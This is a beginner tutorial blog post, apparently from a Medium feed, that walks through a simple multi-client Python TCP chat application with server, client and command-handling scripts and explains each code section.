            <content:encoded><![CDATA[<p>A simple command-line, TCP — chat application, implemented in Python, utilizes socket programming and threading to establish a server, allowing multiple clients to join and send message to each other.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IXVXd8KOm3lmwiM7q9R3SA.png" /></figure><p>For better understanding:<br><strong>Command-line</strong>: The interface where clients interact with the application by typing messages into a console.<br><strong>TCP</strong>: Transmission Control Protocol is a transport protocol that ensures reliable transmission of packets. This project uses TCP to establish connections between clients and server.<br><strong>Socket</strong>: A network node that serves as a endpoint for sending and receiving data in a network. Sockets are used to create connections between clients and the server in this project.<br><strong>Threading</strong>: A technique in programming that allows a program to perform multiple tasks concurrently. In this project, threading is used to handle multiple client connections simultaneously.</p><p>This project also has an logging and command-execution features. Clients can run specific commands such as listing online users or clearing the chat. And, All the messages ,that are sent by clients, are logged by the server in a server.log file.</p><p>This project consists of 3 python scripts; <br>server.py, client.py and commands.py</p><p>Let’s breake down the server script and analyze it:</p><pre>#!/usr/bin/python3<br>import socket<br>import sys<br>import threading<br>import commands<br>from datetime import datetime<br><br>if len(sys.argv) != 3:<br>    print (&quot;Usage: ./server.py &lt;IP&gt; &lt;PORT&gt;&quot;)<br>    exit()<br><br>HOST = str(sys.argv[1])<br>PORT = int(sys.argv[2])<br><br>if PORT &lt; 0 or PORT &gt; 65535 or not isinstance(PORT, int):<br>    print(&quot;Port number must be between 0 and 65535&quot;)<br>    exit()<br><br>clients = []<br>usernames = []<br><br>server = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)<br>server.bind((HOST, PORT))<br>server.listen()<br><br>print(f&#39;Server listening on {HOST}:{PORT}&#39;)<br><br>def handle_client(client, username):<br>    while True:<br>        try:<br>            data = client.recv(1024)<br>            if not data:<br>                break<br>            message = data.decode(&#39;utf-8&#39;)<br>            log(message, username)<br>            if message.startswith(&#39;/&#39;):<br>                message = message.lower()<br>                commands.handle_command(client, message[1:], clients, usernames)<br>            else:<br>                broadcast(f&quot;{username}: {message}&quot;)<br>        except Exception as e:<br>            print(f&quot;Error : {e}&quot;)<br>            break<br>    remove(client, username)<br><br>def broadcast(message):<br>  for client in clients:<br>       client.send(message.encode(&#39;utf-8&#39;))<br><br>def remove(client, username):<br>    if client in clients:<br>        clients.remove(client)<br>    if username in usernames:<br>        usernames.remove(username)<br><br>def log(message,username):<br>    current_datetime = datetime.now()<br>    current_time = current_datetime.strftime(&quot;%H:%M:%S&quot;)<br>    try:<br>        with open(&quot;server.log&quot;, &quot;a&quot;) as f:<br>            f.write(f&quot;[{current_time}] - {username}: {message}\n&quot;)<br>    except IOError as e:<br>        print(f&quot;An error has occured during logging: {e}&quot;)<br><br>try:<br>    while True:<br>        client, addr = server.accept()<br>        client.send(&quot;Welcome!&quot;.encode(&#39;utf-8&#39;))<br>        username = client.recv(1024).decode(&#39;utf-8&#39;)<br>        clients.append(client)<br>        usernames.append(username)<br><br>        broadcast(f&quot;{username} joined!&quot;)<br>        print(f&#39;User {username} connected from {addr}&#39;)<br><br>        client_handler = threading.Thread(target=handle_client, args=(client, username))<br>        client_handler.start()<br>except KeyboardInterrupt:<br>    print(&quot;\nServer stopped.&quot;)<br>    server.close()</pre><p>The <strong>shebang line</strong>, in Unix-like OS ,specifies that the script should be executed using the Python 3 located at /usr/bin/python3.</p><p>Importing necessary libraries for the server scripts.</p><ul><li><strong>socket</strong> is used for creating a new socket that connects to a specific IP address.</li><li><strong>sys</strong> is used for command line arguments. <br>For example $~ argv[0] argv[1] argv[2]</li><li><strong>threading</strong> used for allowing multiple clients to connect to the server.</li><li><strong>commands</strong> is a custom module for handling commands</li><li><strong>datetime</strong> is used for logging operations.</li></ul><pre>if len(sys.argv) != 3:<br>    print (&quot;Usage: ./server.py &lt;IP&gt; &lt;PORT&gt;&quot;)<br>    exit()<br><br>HOST = str(sys.argv[1])<br>PORT = int(sys.argv[2])<br><br>if PORT &lt; 0 or PORT &gt; 65535 or not isinstance(PORT, int):<br>    raise ValueError(&quot;Port number must be between 0 and 65535&quot;)</pre><p>First <strong>if statement</strong> is used to check if the correct number of CLI <strong>arguments</strong> is used. If not, prints usage instructions and exits. <br>First argument (<strong>sys.argv[1]</strong>) and second argument (<strong>sys.argv[2]</strong>) in command-line is used to retrieve HOST and PORT, respectively. <br>Second <strong>if statement</strong> is used for checking the valid port range and if is an integer. If not, it prints out the correct usage and exits.</p><pre>clients = []<br>usernames = []</pre><p>These two lists are used to keep track of connected clients and their usernames.</p><pre>server = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)<br>server.bind((HOST, PORT))<br>server.listen()<br><br>print(f&#39;Server listening on {HOST}:{PORT}&#39;)</pre><p>A <strong>socket object</strong>, named ‘server’ is created using IPv4 (<strong>AF_INET</strong>) and TCP (<strong>SOCK_STREAM</strong>). The server then <strong>binds </strong>to given HOST and PORT. <br>Then, it starts to <strong>listening </strong>for incoming connections. <br>(Official: Enable a server to accept connections)</p><pre>def handle_client(client, username):<br>    while True:<br>        try:<br>            data = client.recv(1024)<br>            if not data:<br>                break<br>            message = data.decode(&#39;utf-8&#39;)<br>            log(message, username)<br>            if message.startswith(&#39;/&#39;):<br>                message = message.lower()<br>                commands.handle_command(client, message[1:], clients, usernames)<br>            else:<br>                broadcast(f&quot;{username}: {message}&quot;)<br>        except Exception as e:<br>            print(f&quot;Error : {e}&quot;)<br>            break<br>    remove(client, username)</pre><p><strong>handle_client()</strong> function is used for managing the communication for client.<br>In infinite loop, <strong>while True:</strong>, it listens for incoming messages from client.<br><strong>recv()</strong> is used to receive data from the socket. The maximum amount of data to be received at once is specified by <em>bufsize </em>(1024 for this code.)<br><strong>decode(’utf-8’)</strong> is used to convert a sequence of bytes (data) into a string (message).<br><strong>log()</strong> is used for storing the message and the username for logging operations.<br>When message is received, it checks if it start with <strong>‘/’</strong> (is a command) or regular message.<br>If it is a <strong>command</strong>, it sends the message to the <strong>commands module</strong> without ‘/’ at the beginning.<br>If it is not a <strong>command</strong>, it <strong>broadcasts </strong>the message to all the clients.<br>If an error occurs, error is printed and exits the loop.<br>When the client disconnects, <strong>remove()</strong> function removes it from <strong>client[]</strong> and <strong>username[].</strong></p><pre>def broadcast(message):<br>  for client in clients:<br>       client.send(message.encode(&#39;utf-8&#39;))</pre><p>This function is used to send the message all the users connected. It simply means broadcasting.</p><pre>def remove(client, username):<br>    if client in clients:<br>        clients.remove(client)<br>    if username in usernames:<br>        usernames.remove(username)</pre><p><strong>Remove() </strong>function is used for removing the client that is disconnected from the server.</p><pre>def log(message,username):<br>    current_datetime = datetime.now()<br>    current_time = current_datetime.strftime(&quot;%H:%M:%S&quot;)<br>    try:<br>        with open(&quot;server.log&quot;, &quot;a&quot;) as f:<br>            f.write(f&quot;[{current_time}] - {username}: {message}\n&quot;)<br>    except IOError as e:<br>        print(f&quot;An error has occured during logging: {e}&quot;)</pre><p><strong>Log() </strong>function is used to storing all the message that are sent in a server.log file. This log file includes current time, username and the message.</p><pre>try:<br>    while True:<br>        client, address = server.accept()<br>        client.send(&quot;Welcome!&quot;.encode(&#39;utf-8&#39;))<br>        username = client.recv(1024).decode(&#39;utf-8&#39;)<br>        clients.append(client)<br>        usernames.append(username)<br><br>        broadcast(f&quot;{username} joined!&quot;)<br>        print(f&#39;User {username} connected from {address}&#39;)<br><br>        client_handler = threading.Thread(target=handle_client, args=(client, username))<br>        client_handler.start()<br>except KeyboardInterrupt:<br>    print(&quot;\nServer stopped.&quot;)<br>    server.close()</pre><p><strong>Accept()</strong> is used to accept a connection. The <strong>socket </strong>must be bound to an address and listening for connections. <br>When client <strong>connects</strong>, it sends a welcome message and waits for the username.<br>Then, it <strong>appends </strong>the <strong>client </strong>and <strong>username </strong>into their respective <strong>list</strong>. <br>It <strong>broadcasts </strong>a message to clients that the new user is joined. <br>A <strong>thread </strong>is created to handle communications with client. <br>When keyboard interrupt (CTRL+C) occurs, server <strong>stops</strong>.</p><p>Now, let’s take a look at the client script.</p><pre>#!/usr/bin/python3<br>import socket<br>import threading<br>import sys<br><br>if len(sys.argv) != 3:<br>    print (&quot;Usage: ./client.py &lt;IP&gt; &lt;PORT&gt;&quot;)<br>    exit()<br><br>HOST = str(sys.argv[1])<br>PORT = int(sys.argv[2])<br><br>if PORT &lt; 0 or PORT &gt; 65535 or not isinstance(PORT, int):<br>    print(&quot;Port number must be between 0 and 65535&quot;)<br>    exit()<br><br>client = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)<br>client.connect((HOST, PORT))<br><br>def receive():<br>    while True:<br>        try:<br>            message = client.recv(1024).decode(&#39;utf-8&#39;)<br>            print(message)<br>        except:<br>            print(&quot;An error occurred!&quot;)<br>            client.close()<br>            break<br><br>def send():<br>    username = input(&quot;Enter your username: &quot;)<br>    client.send(username.encode(&#39;utf-8&#39;))<br>    while True:<br>        message = input(&#39;&#39;)<br>        client.send(message.encode(&#39;utf-8&#39;))<br><br><br>receive_thread = threading.Thread(target=receive)<br>receive_thread.start()<br><br>send_thread = threading.Thread(target=send)<br>send_thread.start()</pre><p><strong>Connect()</strong> is used to connect to a remote socket at <em>address</em>.</p><pre>def receive():<br>    while True:<br>        try:<br>            message = client.recv(1024).decode(&#39;utf-8&#39;)<br>            print(message)<br>        except:<br>            print(&quot;An error occurred!&quot;)<br>            client.close()<br>            break</pre><p>This function is continously <strong>listens </strong>for <strong>incoming messages</strong> and decode it from bytes to strings. <br>Then prints the ‘<strong>message</strong>’. If error occurs, it breaks the loop and <strong>closes</strong> connection.</p><pre>def send():<br>    username = input(&quot;Enter your username: &quot;)<br>    client.send(username.encode(&#39;utf-8&#39;))<br>    while True:<br>        message = input(&#39;&#39;)<br>        client.send(message.encode(&#39;utf-8&#39;))</pre><p>Firstly, this function <strong>asks </strong>the client for its <strong>username </strong>and sends to the server. <br>Then, in infinite loop, it waits for user to <strong>send </strong>the <strong>message</strong>. If user provides a message, it <strong>sends </strong>to the server.</p><pre>receive_thread = threading.Thread(target=receive)<br>receive_thread.start()<br><br>send_thread = threading.Thread(target=send)<br>send_thread.start()</pre><p>Two <strong>threads </strong>are created for <strong>receiving </strong>and <strong>sending </strong>the messages. <br>It is used for running those functions <strong>concurrently</strong>.</p><p>Lastly, here is a ‘<strong>command</strong>’ module for executing commands.</p><pre>import os<br><br>def handle_command(client,message, clients, usernames):<br>    if message == &#39;count&#39;:<br>        user_count(client, clients)<br>    elif message == &#39;help&#39;:<br>        help_message(client)<br>    elif message == &#39;users&#39;:<br>        show_users(client, usernames)<br>    elif message == &#39;clear&#39;:<br>        clear_chat(client)<br>    else:<br>        client.send(f&quot;Invalid command.&quot;.encode(&#39;utf-8&#39;))<br><br>def user_count(client, clients):<br>    client.send(f&quot;Number of users online: {len(clients)}&quot;.encode(&#39;utf-8&#39;))<br><br>def show_users(client, usernames):<br>    usr = &quot;, &quot;.join(usernames)<br>    client.send(f&quot;Online users:\n{usr}&quot;.encode(&#39;utf-8&#39;))<br><br>def clear_chat(client):<br>    client.send(b&#39;\033c&#39;)<br><br>def help_message(client):<br>    help_msg = b&quot;Commands: \n/Count - for number of users in the chat\n/Users - for online users\n/Clear - for clearing chat\n&quot;<br>    client.send(help_msg)</pre><p>This script is just a simple module to made for users to use commands.</p><p><strong>Count </strong>used to prompt how many users are in the server. <br><strong>Help </strong>is used to print out how to use commands. <br><strong>Users </strong>is used to print which users are online in the server. <br><strong>Clear </strong>is used to clearing the terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KAt0NKiyWN7xadi06wDoOQ.png" /><figcaption>A Packet in Wireshark</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a9105a218ec1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>